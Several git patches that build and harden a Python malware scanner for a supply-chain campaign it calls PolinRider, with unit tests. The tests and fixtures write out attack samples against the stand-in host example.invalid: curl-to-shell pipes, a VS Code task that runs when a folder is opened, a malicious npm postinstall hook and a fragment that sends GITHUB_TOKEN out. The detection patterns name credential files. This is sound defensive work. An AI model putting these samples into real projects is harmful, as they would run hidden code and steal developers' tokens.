`preinstall`/`install`/`postinstall`/`prepare` npm scripts invoking `node -e`, `curl`, `wget`, encoded/obfuscated commands | From e4aedcb6a6036e07ccf120f9ec1bd6c0ef6ed492 Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Thu, 19 Nov 2026 15:12:09 +0100 Subject: [PATCH 14/31] fix(malware-scan): harden PolinRider rules against comment evasion and exec false positives --- scripts/malware-scan/scan.py | 31 ++++++++--- tests/malware-scan/fixtures/README.md | 5 +- tests/malware-scan/test_scan.py | 74 +++++++++++++++++++++++++++ 3 files changed, 100 insertions(+), 10 deletions(-) diff --git a/scripts/malware-scan/scan.py b/scripts/malware-scan/scan.py index 00c60f9..a41f2e8 100644 --- a/scripts/malware-scan/scan.py +++ b/scripts/malware-scan/scan.py @@ -44,17 +44,20 @@ def scan_text(path: str, text: str) -> list[Finding]: CONFIG_FILE_RE = re.compile(r"\.config\.(js|cjs|mjs)$") LONG_B64_RE = re.compile(r"[A-Za-z0-9+/=]{200,}") FROM_CHARCODE_RE = re.compile(r"String\s*\[\s*['\"]fromCharCode|String\.fromCharCode") -DECODE_FN_RE = re.compile(r"\b(eval|Function|setTimeout|setInterval)\s*\(") -DECODE_ALIAS_RE = re.compile(r"\batob\b|Buffer\s*\[\s*['\"]from|\bunescape\b") +DECODE_FN_RE = re.compile(r"\b(eval|Function)\s*\(") +DECODE_ALIAS_RE = re.compile(r"\batob\b|Buffer\s*\[\s*['\"]from|\bBuffer\s*\.\s*from\b|\bunescape\b") BRACKET_ONLY_RE = re.compile(r"(?:\[\s*['\"][A-Za-z_$][\w$]*['\"]\s*\]\s*){3,}") -NETWORK_RE = re.compile(r"\b(fetch|XMLHttpRequest|http\.request|https\.request|child_process|exec|spawn)\b") -MODULE_END_RE = re.compile(r"^\s*(?:[])}]+;?|(?:export\s+default|module\.exports\s*=)\s*.*;)\s*$") +NETWORK_RE = re.compile( + r"\b(?:fetch|XMLHttpRequest|https?\.request|child_process|(?:exec|spawn)Sync)\b" + r"|(?:exec|spawn)\s*\(\s*['\"](?:curl|wget|base64)\b" +) +MODULE_END_RE = re.compile(r"^\s*(?:[])}]+;?|(?:export\s+default|module\.exports\s*=)\s*.*[];})])\s*$") EVAL_RE = re.compile(r"\beval\s*\(|\[\s*['\"]eval['\"]\s*\]\s*\(") APPEND_SUS_RE = re.compile( - r"\bexec\s*\(|\[\s*['\"]exec['\"]\s*\]\s*\(" - r"|\beval\s*\(|\[\s*['\"]eval['\"]\s*\]\s*\(" + r"\beval\s*\(|\[\s*['\"]eval['\"]\s*\]\s*\(" r"|\bchild_process\b" r"|(?:curl|wget)\b[^|\n]*\|\s*(?:ba)?sh\b" + r"|\.(?:exec|execSync)\s*\(\s*['\"](?:curl|wget|base64)\b" ) APPEND_NET_RE = re.compile(r"\b(fetch|XMLHttpRequest|https?\.request)\b") APPEND_POST_RE = re.compile(r"(?i)(?:method\s*:\s*['\"]post\b|\.post\s*\(|['\"]post['\"])") @@ -118,16 +121,28 @@ def _tail_is_suspicious(tail: str) -> bool: return bool(APPEND_NET_RE.search(code) and APPEND_POST_RE.search(code)) +def _first_suspicious_tail_line(tail_lines: list[str]) -> int: + for j, ln in enumerate(tail_lines): + if APPEND_SUS_RE.search(ln) or APPEND_NET_RE.search(ln) or APPEND_POST_RE.search(ln): + return j + for j, ln in enumerate(tail_lines): + if ln.strip(): + return j + return 0 + + def rule_polin_config_append(path: str, text: str) -> list[Finding]: if not _is_config_file(path): return [] - lines = text.splitlines() + lines = _strip_js_comments(text).splitlines() ended_at = None for i, ln in enumerate(lines): if MODULE_END_RE.match(ln) and _tail_is_suspicious("\n".join(lines[i + 1:])): ended_at = i if ended_at is not None: - return [Finding("POLIN-CONFIG-APPEND", "BLOCK", path, ended_at + 2, + tail_lines = lines[ended_at + 1:] + offset = _first_suspicious_tail_line(tail_lines) + return [Finding("POLIN-CONFIG-APPEND", "BLOCK", path, ended_at + offset + 2, "suspicious code appended after module end in a build config (PolinRider config-file payload pattern)")] return [] diff --git a/tests/malware-scan/fixtures/README.md b/tests/malware-scan/fixtures/README.md index 138e32d..fb6e3d7 100644 --- a/tests/malware-scan/fixtures/README.md +++ b/tests/malware-scan/fixtures/README.md @@ -1,5 +1,6 @@ # Test fixtures — INERT These files are synthetic samples for scanner unit tests. They are not -functional code: URLs are non-routable (example.invalid), tokens are dummy, -and payload fragments cannot execute. Do not fix them to run. +functional code: tokens are dummy, and payloads contain no working +exfiltration (non-routable URLs, inert constants) and must never be run. +Do not fix them to run. diff --git a/tests/malware-scan/test_scan.py b/tests/malware-scan/test_scan.py index 4685d40..f0dbe5d 100644 --- a/tests/malware-scan/test_scan.py +++ b/tests/malware-scan/test_scan.py @@ -185,6 +185,62 @@ def test_config_append_comment_only_tail_silent(self): found = scan_mod.scan_text("tailwind.config.js", text) self.assertEqual(found, []) + def test_config_append_trailing_comment_module_end_detected(self): + payloads = ( + ( + "module.exports = {\n" + ' content: ["./src/**/*.{ts,tsx}"],\n' + "}; // end\n" + 'require("child_process").exec("curl -s http://example.invalid/p | sh");\n' + ), + ( + "export default defineConfig({\n" + " plugins: [],\n" + "}); /* x */\n" + 'require("child_process").exec("curl -s http://example.invalid/p | sh");\n' + ), + ) + for text in payloads: + found = scan_mod.scan_text("webpack.config.js", text) + self.assertIn("POLIN-CONFIG-APPEND", {f.rule for f in found}, text) + + def test_config_append_asi_module_exports_detected(self): + text = ( + "module.exports = { plugins: [] }\n" + 'require("child_process").exec("curl -s http://example.invalid/p | sh");\n' + ) + found = scan_mod.scan_text("rollup.config.js", text) + self.assertIn("POLIN-CONFIG-APPEND", {f.rule for f in found}) + + def test_config_append_fetch_post_tail_detected(self): + text = ( + "module.exports = { plugins: [] };\n" + 'fetch("http://example.invalid/collect", { method: "POST" });\n' + ) + found = scan_mod.scan_text("webpack.config.js", text) + self.assertIn("POLIN-CONFIG-APPEND", {f.rule for f in found}) + + def test_config_append_reports_first_suspicious_tail_line(self): + text = ( + "module.exports = { plugins: [] };\n" + "\n" + "\n" + 'require("child_process").exec("curl -s http://example.invalid/p | sh");\n' + ) + found = scan_mod.scan_text("webpack.config.js", text) + append = [f for f in found if f.rule == "POLIN-CONFIG-APPEND"] + self.assertEqual(len(append), 1) + self.assertEqual(append[0].line, 4) + + def test_benign_regex_exec_config_tail_clean(self): + text = ( + "module.exports = { plugins: [] };\n" + "var re = /x/;\n" + "var m = re.exec(str);\n" + ) + found = scan_mod.scan_text("next.config.js", text) + self.assertEqual(found, []) + class TestPolinObfuscatedJsGaps(unittest.TestCase): def test_unescape_feeding_eval_detected(self): @@ -215,5 +271,23 @@ def test_standalone_bracket_chain_detected(self): found = scan_mod.scan_text("plain.js", text) self.assertIn("POLIN-OBFUSCATED-JS", {f.rule for f in found}) + def test_eval_with_regex_exec_not_flagged_as_network(self): + for text in ( + "eval(x); re.exec(s);\n", + "eval(x);\nre.exec(s);\n", + ): + found = scan_mod.scan_text("payload.js", text) + self.assertEqual(found, [], text) + + def test_from_charcode_with_set_timeout_clean(self): + text = "var c = String.fromCharCode(227); setTimeout(fn, 100);\n" + found = scan_mod.scan_text("timer.js", text) + self.assertEqual(found, []) + + def test_buffer_from_dot_notation_feeding_eval_detected(self): + text = 'eval(Buffer.from("aGk=", "base64").toString());\n' + found = scan_mod.scan_text("payload.js", text) + self.assertIn("POLIN-OBFUSCATED-JS", {f.rule for f in found}) + if __name__ == "__main__": unittest.main() From 3abd6d8eef0ed9305165fe700dfa762c0de42a83 Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Thu, 19 Nov 2026 15:33:36 +0100 Subject: [PATCH 15/31] feat(malware-scan): VS Code tasks, token-exfil, and lifecycle-hook rules --- scripts/malware-scan/scan.py | 66 +++++++++++++++++++ .../malware-scan/fixtures/benign/package.json | 8 +++ tests/malware-scan/fixtures/benign/tasks.json | 6 ++ .../fixtures/malicious/package-hook.json | 6 ++ .../fixtures/malicious/stealer-fragment.js | 2 + .../fixtures/malicious/tasks.json | 11 ++++ tests/malware-scan/test_scan.py | 47 +++++++++++++ 7 files changed, 146 insertions(+) create mode 100644 tests/malware-scan/fixtures/benign/package.json create mode 100644 tests/malware-scan/fixtures/benign/tasks.json create mode 100644 tests/malware-scan/fixtures/malicious/package-hook.json create mode 100644 tests/malware-scan/fixtures/malicious/stealer-fragment.js create mode 100644 tests/malware-scan/fixtures/malicious/tasks.json diff --git a/scripts/malware-scan/scan.py b/scripts/malware-scan/scan.py index a41f2e8..b511a00 100644 --- a/scripts/malware-scan/scan.py +++ b/scripts/malware-scan/scan.py @@ -175,6 +175,72 @@ def rule_polin_obfuscated_js(path: str, text: str) -> list[Finding]: TEXT_RULES.extend([rule_polin_config_append, rule_polin_obfuscated_js]) +SHELL_PIPE_RE = re.compile( + r"\b(curl|wget|iwr|Invoke-WebRequest)[^\n|]*\|\s*(sh|bash|zsh|powershell|pwsh|iex|cmd)\b" +) +DECODE_EXEC_RE = re.compile(r"base64\s+(-d|--decode)\s*\|[^\n]*(sh|bash)\b|certutil.*-decode") +TOKEN_REF_RE = re.compile(r"GITHUB_TOKEN|GH_TOKEN|process\.env\[[^\]]*TOKEN|~\/\.ssh|\.npmrc|credentials") +EXFIL_RE = re.compile(r"https?['\"]?\)?\s*\.\s*(request|get|post)|fetch\s*\(|child_process|\b(curl|wget)\s") +HOOK_NAMES = ("preinstall", "install", "postinstall", "prepare", "prepublish", "postpublish") +HOOK_BAD_RE = re.compile(r"node\s+-e|curl\s|wget\s|iwr\s|base64\s+(-d|--decode)|fromCharCode") + + +def rule_polin_vscode_tasks(path: str, text: str) -> list[Finding]: + if Path(path).name != "tasks.json": + return [] + out = [] + for i, ln in enumerate(text.splitlines(), 1): + if SHELL_PIPE_RE.search(ln) or DECODE_EXEC_RE.search(ln): + out.append(Finding( + "POLIN-VSCODE-TASKS", "BLOCK", path, i, + "VS Code task runs curl/wget piped to a shell " + "(PolinRider folderOpen execution vector)", + )) + return out + + +def rule_steal_token_exfil(path: str, text: str) -> list[Finding]: + lines = text.splitlines() + out = [] + for i, ln in enumerate(lines, 1): + if TOKEN_REF_RE.search(ln): + window = "\n".join(lines[max(0, i - 5): i + 4]) + if EXFIL_RE.search(window): + out.append(Finding( + "STEAL-TOKEN-EXFIL", "BLOCK", path, i, + "token/credential access combined with outbound network call " + "(token-stealer pattern)", + )) + return out + + +def rule_hook_malicious_script(path: str, text: str) -> list[Finding]: + if not Path(path).name.endswith(".json"): + return [] + try: + data = json.loads(text) + except ValueError: + return [] + if not isinstance(data, dict): + return [] + scripts = data.get("scripts") + if not isinstance(scripts, dict): + return [] + out = [] + for name in HOOK_NAMES: + val = scripts.get(name) + if isinstance(val, str) and HOOK_BAD_RE.search(val): + out.append(Finding( + "HOOK-MALICIOUS-SCRIPT", "BLOCK", path, 1, + f"npm lifecycle script '{name}' invokes download/exec/obfuscation " + f"primitives: {val[:80]!r}", + )) + return out + + +TEXT_RULES.extend([rule_polin_vscode_tasks, rule_steal_token_exfil, rule_hook_malicious_script]) + + def _include_file(q: Path) -> bool: if q.is_symlink() or not q.is_file(): return False diff --git a/tests/malware-scan/fixtures/benign/package.json b/tests/malware-scan/fixtures/benign/package.json new file mode 100644 index 0000000..99df44e --- /dev/null +++ b/tests/malware-scan/fixtures/benign/package.json @@ -0,0 +1,8 @@ +{ + "name": "fixture-benign", + "scripts": { + "build": "tsc -p tsconfig.json", + "test": "vitest run", + "postinstall": "echo done" + } +} diff --git a/tests/malware-scan/fixtures/benign/tasks.json b/tests/malware-scan/fixtures/benign/tasks.json new file mode 100644 index 0000000..f808bdd --- /dev/null +++ b/tests/malware-scan/fixtures/benign/tasks.json @@ -0,0 +1,6 @@ +{ + "version": "2.0.0", + "tasks": [ + { "label": "test", "type": "shell", "command": "npm test" } + ] +} diff --git a/tests/malware-scan/fixtures/malicious/package-hook.json b/tests/malware-scan/fixtures/malicious/package-hook.json new file mode 100644 index 0000000..c4d476c --- /dev/null +++ b/tests/malware-scan/fixtures/malicious/package-hook.json @@ -0,0 +1,6 @@ +{ + "name": "fixture", + "scripts": { + "postinstall": "node -e \"require('http').get('http://example.invalid')\"" + } +} diff --git a/tests/malware-scan/fixtures/malicious/stealer-fragment.js b/tests/malware-scan/fixtures/malicious/stealer-fragment.js new file mode 100644 index 0000000..cc23dfd --- /dev/null +++ b/tests/malware-scan/fixtures/malicious/stealer-fragment.js @@ -0,0 +1,2 @@ +const t = process.env.GITHUB_TOKEN || process.env["GH_TOKEN"]; +require("https").request({ hostname: "example.invalid", method: "POST" }).end(t); diff --git a/tests/malware-scan/fixtures/malicious/tasks.json b/tests/malware-scan/fixtures/malicious/tasks.json new file mode 100644 index 0000000..c6b3f03 --- /dev/null +++ b/tests/malware-scan/fixtures/malicious/tasks.json @@ -0,0 +1,11 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "update", + "type": "shell", + "command": "curl -s http://example.invalid/x.sh | sh", + "runOptions": { "runOn": "folderOpen" } + } + ] +} diff --git a/tests/malware-scan/test_scan.py b/tests/malware-scan/test_scan.py index f0dbe5d..bd7aff4 100644 --- a/tests/malware-scan/test_scan.py +++ b/tests/malware-scan/test_scan.py @@ -289,5 +289,52 @@ def test_buffer_from_dot_notation_feeding_eval_detected(self): found = scan_mod.scan_text("payload.js", text) self.assertIn("POLIN-OBFUSCATED-JS", {f.rule for f in found}) + +class TestExecutionVectorRules(unittest.TestCase): + def test_vscode_tasks_curl_to_shell(self): + p = FIXTURES / "malicious" / "tasks.json" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("POLIN-VSCODE-TASKS", {f.rule for f in found}) + + def test_token_exfil_detected(self): + p = FIXTURES / "malicious" / "stealer-fragment.js" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("STEAL-TOKEN-EXFIL", {f.rule for f in found}) + + def test_malicious_lifecycle_hook(self): + p = FIXTURES / "malicious" / "package-hook.json" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("HOOK-MALICIOUS-SCRIPT", {f.rule for f in found}) + + def test_benign_package_and_tasks_clean(self): + for name in ("package.json", "tasks.json"): + p = FIXTURES / "benign" / name + self.assertEqual(scan_mod.scan_text(str(p), p.read_text()), [], name) + + +class TestExecutionVectorFalsePositives(unittest.TestCase): + def test_regex_exec_near_token_read_not_flagged(self): + text = ( + "const t = process.env.GITHUB_TOKEN;\n" + "const re = /x/;\n" + "const m = re.exec(t);\n" + ) + found = scan_mod.scan_text("probe.js", text) + self.assertEqual(found, []) + + def test_benign_tee_pipe_not_flagged(self): + for command in ("npm test | tee log", "curl -s http://example.invalid/x.sh | tee log"): + text = ( + "{\n" + ' "version": "2.0.0",\n' + ' "tasks": [\n' + ' { "label": "test", "type": "shell", "command": "%s" }\n' + " ]\n" + "}\n" % command + ) + found = scan_mod.scan_text(".vscode/tasks.json", text) + self.assertEqual(found, [], command) + + if __name__ == "__main__": unittest.main() From d51e2e9947779165db52ccb77d0a515e504193fd Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Thu, 19 Nov 2026 15:59:31 +0100 Subject: [PATCH 16/31] fix(malware-scan): tighten execution-vector rule scope and close detection gaps --- scripts/malware-scan/scan.py | 23 +++++-- .../fixtures/benign/{ => .vscode}/tasks.json | 0 .../malicious/{ => .vscode}/tasks.json | 0 .../package.json} | 0 tests/malware-scan/test_scan.py | 67 ++++++++++++++++++- 5 files changed, 82 insertions(+), 8 deletions(-) rename tests/malware-scan/fixtures/benign/{ => .vscode}/tasks.json (100%) rename tests/malware-scan/fixtures/malicious/{ => .vscode}/tasks.json (100%) rename tests/malware-scan/fixtures/malicious/{package-hook.json => package-hook/package.json} (100%) diff --git a/scripts/malware-scan/scan.py b/scripts/malware-scan/scan.py index b511a00..3c9bece 100644 --- a/scripts/malware-scan/scan.py +++ b/scripts/malware-scan/scan.py @@ -178,15 +178,28 @@ def rule_polin_obfuscated_js(path: str, text: str) -> list[Finding]: SHELL_PIPE_RE = re.compile( r"\b(curl|wget|iwr|Invoke-WebRequest)[^\n|]*\|\s*(sh|bash|zsh|powershell|pwsh|iex|cmd)\b" ) -DECODE_EXEC_RE = re.compile(r"base64\s+(-d|--decode)\s*\|[^\n]*(sh|bash)\b|certutil.*-decode") -TOKEN_REF_RE = re.compile(r"GITHUB_TOKEN|GH_TOKEN|process\.env\[[^\]]*TOKEN|~\/\.ssh|\.npmrc|credentials") -EXFIL_RE = re.compile(r"https?['\"]?\)?\s*\.\s*(request|get|post)|fetch\s*\(|child_process|\b(curl|wget)\s") +DECODE_EXEC_RE = re.compile( + r"base64\s+(?:-d|-D|--decode)\b[^|\n]*\|[^\n]*(?:sh|bash)\b|certutil.*-decode" +) +TOKEN_REF_RE = re.compile( + r"GITHUB_TOKEN|GH_TOKEN|process\.env\[[^\]]*TOKEN" + r"|process\.env\.[A-Za-z_$][\w$]*TOKEN|process\.env\.TOKEN" + r"|~\/\.ssh|\.npmrc|credentials" +) +EXFIL_RE = re.compile( + r"https?['\"]?\)?\s*\.\s*(request|get|post)" + r"|fetch\s*\(|\bXMLHttpRequest\b" + r"|\b(curl|wget)\s" + r"|child_process[^\n]{0,60}(curl|wget)" + r"|exec\s*\(\s*['\"](curl|wget)" +) HOOK_NAMES = ("preinstall", "install", "postinstall", "prepare", "prepublish", "postpublish") HOOK_BAD_RE = re.compile(r"node\s+-e|curl\s|wget\s|iwr\s|base64\s+(-d|--decode)|fromCharCode") def rule_polin_vscode_tasks(path: str, text: str) -> list[Finding]: - if Path(path).name != "tasks.json": + p = Path(path) + if p.name != "tasks.json" or ".vscode" not in p.parts: return [] out = [] for i, ln in enumerate(text.splitlines(), 1): @@ -215,7 +228,7 @@ def rule_steal_token_exfil(path: str, text: str) -> list[Finding]: def rule_hook_malicious_script(path: str, text: str) -> list[Finding]: - if not Path(path).name.endswith(".json"): + if Path(path).name != "package.json": return [] try: data = json.loads(text) diff --git a/tests/malware-scan/fixtures/benign/tasks.json b/tests/malware-scan/fixtures/benign/.vscode/tasks.json similarity index 100% rename from tests/malware-scan/fixtures/benign/tasks.json rename to tests/malware-scan/fixtures/benign/.vscode/tasks.json diff --git a/tests/malware-scan/fixtures/malicious/tasks.json b/tests/malware-scan/fixtures/malicious/.vscode/tasks.json similarity index 100% rename from tests/malware-scan/fixtures/malicious/tasks.json rename to tests/malware-scan/fixtures/malicious/.vscode/tasks.json diff --git a/tests/malware-scan/fixtures/malicious/package-hook.json b/tests/malware-scan/fixtures/malicious/package-hook/package.json similarity index 100% rename from tests/malware-scan/fixtures/malicious/package-hook.json rename to tests/malware-scan/fixtures/malicious/package-hook/package.json diff --git a/tests/malware-scan/test_scan.py b/tests/malware-scan/test_scan.py index bd7aff4..5c5d69b 100644 --- a/tests/malware-scan/test_scan.py +++ b/tests/malware-scan/test_scan.py @@ -292,7 +292,7 @@ def test_buffer_from_dot_notation_feeding_eval_detected(self): class TestExecutionVectorRules(unittest.TestCase): def test_vscode_tasks_curl_to_shell(self): - p = FIXTURES / "malicious" / "tasks.json" + p = FIXTURES / "malicious" / ".vscode" / "tasks.json" found = scan_mod.scan_text(str(p), p.read_text()) self.assertIn("POLIN-VSCODE-TASKS", {f.rule for f in found}) @@ -302,12 +302,12 @@ def test_token_exfil_detected(self): self.assertIn("STEAL-TOKEN-EXFIL", {f.rule for f in found}) def test_malicious_lifecycle_hook(self): - p = FIXTURES / "malicious" / "package-hook.json" + p = FIXTURES / "malicious" / "package-hook" / "package.json" found = scan_mod.scan_text(str(p), p.read_text()) self.assertIn("HOOK-MALICIOUS-SCRIPT", {f.rule for f in found}) def test_benign_package_and_tasks_clean(self): - for name in ("package.json", "tasks.json"): + for name in ("package.json", ".vscode/tasks.json"): p = FIXTURES / "benign" / name self.assertEqual(scan_mod.scan_text(str(p), p.read_text()), [], name) @@ -336,5 +336,66 @@ def test_benign_tee_pipe_not_flagged(self): self.assertEqual(found, [], command) +class TestExecutionVectorGaps(unittest.TestCase): + def test_tasks_json_outside_vscode_dir_not_flagged(self): + p = FIXTURES / "malicious" / ".vscode" / "tasks.json" + for path in ("tasks.json", "build/tasks.json"): + found = scan_mod.scan_text(path, p.read_text()) + self.assertEqual(found, [], path) + + def test_non_package_json_with_hook_scripts_not_flagged(self): + text = '{"name": "x", "scripts": {"postinstall": "curl -s http://example.invalid/p | sh"}}\n' + found = scan_mod.scan_text("foo.json", text) + self.assertEqual(found, []) + + def test_token_dot_notation_with_fetch_flagged(self): + text = ( + "const t = process.env.NPM_TOKEN;\n" + 'fetch("http://example.invalid/collect", { method: "POST", body: t });\n' + ) + found = scan_mod.scan_text("probe.js", text) + self.assertIn("STEAL-TOKEN-EXFIL", {f.rule for f in found}) + + def test_token_with_child_process_ls_not_flagged(self): + text = ( + "const t = process.env.GITHUB_TOKEN;\n" + 'require("child_process").execSync("ls");\n' + ) + found = scan_mod.scan_text("probe.js", text) + self.assertEqual(found, []) + + def test_token_with_child_process_curl_exec_flagged(self): + text = ( + "const t = process.env.GITHUB_TOKEN;\n" + 'require("child_process").exec("curl -s http://example.invalid/p | sh");\n' + ) + found = scan_mod.scan_text("probe.js", text) + self.assertIn("STEAL-TOKEN-EXFIL", {f.rule for f in found}) + + def test_decode_exec_with_file_operand_flagged(self): + text = ( + "{\n" + ' "version": "2.0.0",\n' + ' "tasks": [\n' + ' { "label": "x", "type": "shell", "command": "base64 -d payload.txt | sh" }\n' + " ]\n" + "}\n" + ) + found = scan_mod.scan_text(".vscode/tasks.json", text) + self.assertIn("POLIN-VSCODE-TASKS", {f.rule for f in found}) + + def test_decode_exec_macos_uppercase_D_flagged(self): + text = ( + "{\n" + ' "version": "2.0.0",\n' + ' "tasks": [\n' + ' { "label": "x", "type": "shell", "command": "base64 -D | sh" }\n' + " ]\n" + "}\n" + ) + found = scan_mod.scan_text(".vscode/tasks.json", text) + self.assertIn("POLIN-VSCODE-TASKS", {f.rule for f in found}) + + if __name__ == "__main__": unittest.main() From 82c8f8dfd855a7bdc905ac5a24d78f34ac3d997b Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Thu, 19 Nov 2026 19:18:34 +0100 Subject: [PATCH 17/31] fix(malware-scan): eliminate ReDoS in pipe rules and harden hook/exfil parsing --- scripts/malware-scan/scan.py | 72 +++++++++++++--- tests/malware-scan/test_scan.py | 145 ++++++++++++++++++++++++++++++++ 2 files changed, 205 insertions(+), 12 deletions(-) diff --git a/scripts/malware-scan/scan.py b/scripts/malware-scan/scan.py index 3c9bece..0e2bfca 100644 --- a/scripts/malware-scan/scan.py +++ b/scripts/malware-scan/scan.py @@ -56,7 +56,6 @@ def scan_text(path: str, text: str) -> list[Finding]: APPEND_SUS_RE = re.compile( r"\beval\s*\(|\[\s*['\"]eval['\"]\s*\]\s*\(" r"|\bchild_process\b" - r"|(?:curl|wget)\b[^|\n]*\|\s*(?:ba)?sh\b" r"|\.(?:exec|execSync)\s*\(\s*['\"](?:curl|wget|base64)\b" ) APPEND_NET_RE = re.compile(r"\b(fetch|XMLHttpRequest|https?\.request)\b") @@ -118,12 +117,19 @@ def _tail_is_suspicious(tail: str) -> bool: code = _strip_js_comments(tail) if APPEND_SUS_RE.search(code): return True + if any(_is_download_pipe(ln) for ln in code.splitlines()): + return True return bool(APPEND_NET_RE.search(code) and APPEND_POST_RE.search(code)) def _first_suspicious_tail_line(tail_lines: list[str]) -> int: for j, ln in enumerate(tail_lines): - if APPEND_SUS_RE.search(ln) or APPEND_NET_RE.search(ln) or APPEND_POST_RE.search(ln): + if ( + APPEND_SUS_RE.search(ln) + or APPEND_NET_RE.search(ln) + or APPEND_POST_RE.search(ln) + or _is_download_pipe(ln) + ): return j for j, ln in enumerate(tail_lines): if ln.strip(): @@ -175,12 +181,46 @@ def rule_polin_obfuscated_js(path: str, text: str) -> list[Finding]: TEXT_RULES.extend([rule_polin_config_append, rule_polin_obfuscated_js]) -SHELL_PIPE_RE = re.compile( - r"\b(curl|wget|iwr|Invoke-WebRequest)[^\n|]*\|\s*(sh|bash|zsh|powershell|pwsh|iex|cmd)\b" -) -DECODE_EXEC_RE = re.compile( - r"base64\s+(?:-d|-D|--decode)\b[^|\n]*\|[^\n]*(?:sh|bash)\b|certutil.*-decode" +DOWNLOADER_RE = re.compile(r"(?i)\b(?:curl|wget|iwr|invoke-webrequest)\b") +DECODE_FLAG_RE = re.compile(r"(?i)\bbase64\s+(?:-d\b|--decode\b)") +SHELL_TARGET_RE = re.compile( + r"(?i)^\s*(?:sudo\s+){0,2}(?:[A-Za-z0-9_./-]{0,64}/){0,2}" + r"(?:env\s+){0,2}(?:[A-Za-z0-9_./-]{0,64}/){0,2}" + r"(?:sh|bash|zsh|powershell|pwsh|iex|cmd)(?![A-Za-z0-9_-])" ) + + +def _is_shell_target(segment: str) -> bool: + return bool(SHELL_TARGET_RE.match(segment)) + + +def _has_shell_pipe_after(text: str, start: int) -> bool: + _, *segments = text[start:].split("|") + return any(_is_shell_target(seg) for seg in segments) + + +def _is_download_pipe(ln: str) -> bool: + if "|" not in ln: + return False + m = DOWNLOADER_RE.search(ln) + return bool(m) and _has_shell_pipe_after(ln, m.end()) + + +def _is_decode_exec(ln: str) -> bool: + low = ln.lower() + at = low.find("certutil") + if at != -1 and low.find("-decode", at) != -1: + return True + m = DECODE_FLAG_RE.search(ln) + return bool(m) and _has_shell_pipe_after(ln, m.end()) + + +def _is_exec_pipeline(ln: str) -> bool: + if "|" not in ln and "certutil" not in ln.lower(): + return False + return _is_download_pipe(ln) or _is_decode_exec(ln) + + TOKEN_REF_RE = re.compile( r"GITHUB_TOKEN|GH_TOKEN|process\.env\[[^\]]*TOKEN" r"|process\.env\.[A-Za-z_$][\w$]*TOKEN|process\.env\.TOKEN" @@ -194,7 +234,7 @@ def rule_polin_obfuscated_js(path: str, text: str) -> list[Finding]: r"|exec\s*\(\s*['\"](curl|wget)" ) HOOK_NAMES = ("preinstall", "install", "postinstall", "prepare", "prepublish", "postpublish") -HOOK_BAD_RE = re.compile(r"node\s+-e|curl\s|wget\s|iwr\s|base64\s+(-d|--decode)|fromCharCode") +HOOK_BAD_RE = re.compile(r"node\s+-e|curl\s|wget\s|iwr\s|base64\s+(?:-d\b|--decode\b)|fromCharCode") def rule_polin_vscode_tasks(path: str, text: str) -> list[Finding]: @@ -203,7 +243,7 @@ def rule_polin_vscode_tasks(path: str, text: str) -> list[Finding]: return [] out = [] for i, ln in enumerate(text.splitlines(), 1): - if SHELL_PIPE_RE.search(ln) or DECODE_EXEC_RE.search(ln): + if _is_exec_pipeline(ln): out.append(Finding( "POLIN-VSCODE-TASKS", "BLOCK", path, i, "VS Code task runs curl/wget piped to a shell " @@ -217,7 +257,7 @@ def rule_steal_token_exfil(path: str, text: str) -> list[Finding]: out = [] for i, ln in enumerate(lines, 1): if TOKEN_REF_RE.search(ln): - window = "\n".join(lines[max(0, i - 5): i + 4]) + window = "\n".join(lines[max(0, i - 6): i + 5]) if EXFIL_RE.search(window): out.append(Finding( "STEAL-TOKEN-EXFIL", "BLOCK", path, i, @@ -227,12 +267,20 @@ def rule_steal_token_exfil(path: str, text: str) -> list[Finding]: return out +def _hook_key_line(text: str, name: str) -> int: + for key in (f'"{name}"', name): + pos = text.find(key) + if pos != -1: + return text.count("\n", 0, pos) + 1 + return 1 + + def rule_hook_malicious_script(path: str, text: str) -> list[Finding]: if Path(path).name != "package.json": return [] try: data = json.loads(text) - except ValueError: + except (ValueError, RecursionError): return [] if not isinstance(data, dict): return [] @@ -244,7 +292,7 @@ def rule_hook_malicious_script(path: str, text: str) -> list[Finding]: val = scripts.get(name) if isinstance(val, str) and HOOK_BAD_RE.search(val): out.append(Finding( - "HOOK-MALICIOUS-SCRIPT", "BLOCK", path, 1, + "HOOK-MALICIOUS-SCRIPT", "BLOCK", path, _hook_key_line(text, name), f"npm lifecycle script '{name}' invokes download/exec/obfuscation " f"primitives: {val[:80]!r}", )) diff --git a/tests/malware-scan/test_scan.py b/tests/malware-scan/test_scan.py index 5c5d69b..2415db7 100644 --- a/tests/malware-scan/test_scan.py +++ b/tests/malware-scan/test_scan.py @@ -2,6 +2,7 @@ import subprocess import sys import tempfile +import time import unittest from importlib.util import module_from_spec, spec_from_file_location from pathlib import Path @@ -397,5 +398,149 @@ def test_decode_exec_macos_uppercase_D_flagged(self): self.assertIn("POLIN-VSCODE-TASKS", {f.rule for f in found}) +class TestRedosHardening(unittest.TestCase): + def test_200kb_curl_repeat_tasks_json_scans_fast(self): + text = '{"version":"2.0.0","tasks":[{"command":"' + "curl " * 40000 + '"}]}' + self.assertGreaterEqual(len(text), 200_000) + t0 = time.monotonic() + found = scan_mod.scan_text(".vscode/tasks.json", text) + elapsed = time.monotonic() - t0 + self.assertLess(elapsed, 2.0) + self.assertEqual(found, []) + + def test_200kb_curl_repeat_config_tail_scans_fast(self): + text = "module.exports = {};\n" + "curl " * 40000 + "\n" + self.assertGreaterEqual(len(text), 200_000) + t0 = time.monotonic() + found = scan_mod.scan_text("webpack.config.js", text) + elapsed = time.monotonic() - t0 + self.assertLess(elapsed, 2.0) + self.assertEqual(found, []) + + +class TestShellTargetVariants(unittest.TestCase): + @staticmethod + def tasks_json(command: str) -> str: + return ( + "{\n" + ' "version": "2.0.0",\n' + ' "tasks": [\n' + ' { "label": "x", "type": "shell", "command": "%s" }\n' + " ]\n" + "}\n" + ) % command + + def assert_task_fires(self, command: str) -> None: + found = scan_mod.scan_text(".vscode/tasks.json", self.tasks_json(command)) + hits = [f for f in found if f.rule == "POLIN-VSCODE-TASKS"] + self.assertEqual(len(hits), 1, command) + self.assertEqual(hits[0].severity, "BLOCK", command) + + def test_pipe_to_bin_sh(self): + self.assert_task_fires("curl -s http://example.invalid/x.sh | /bin/sh") + + def 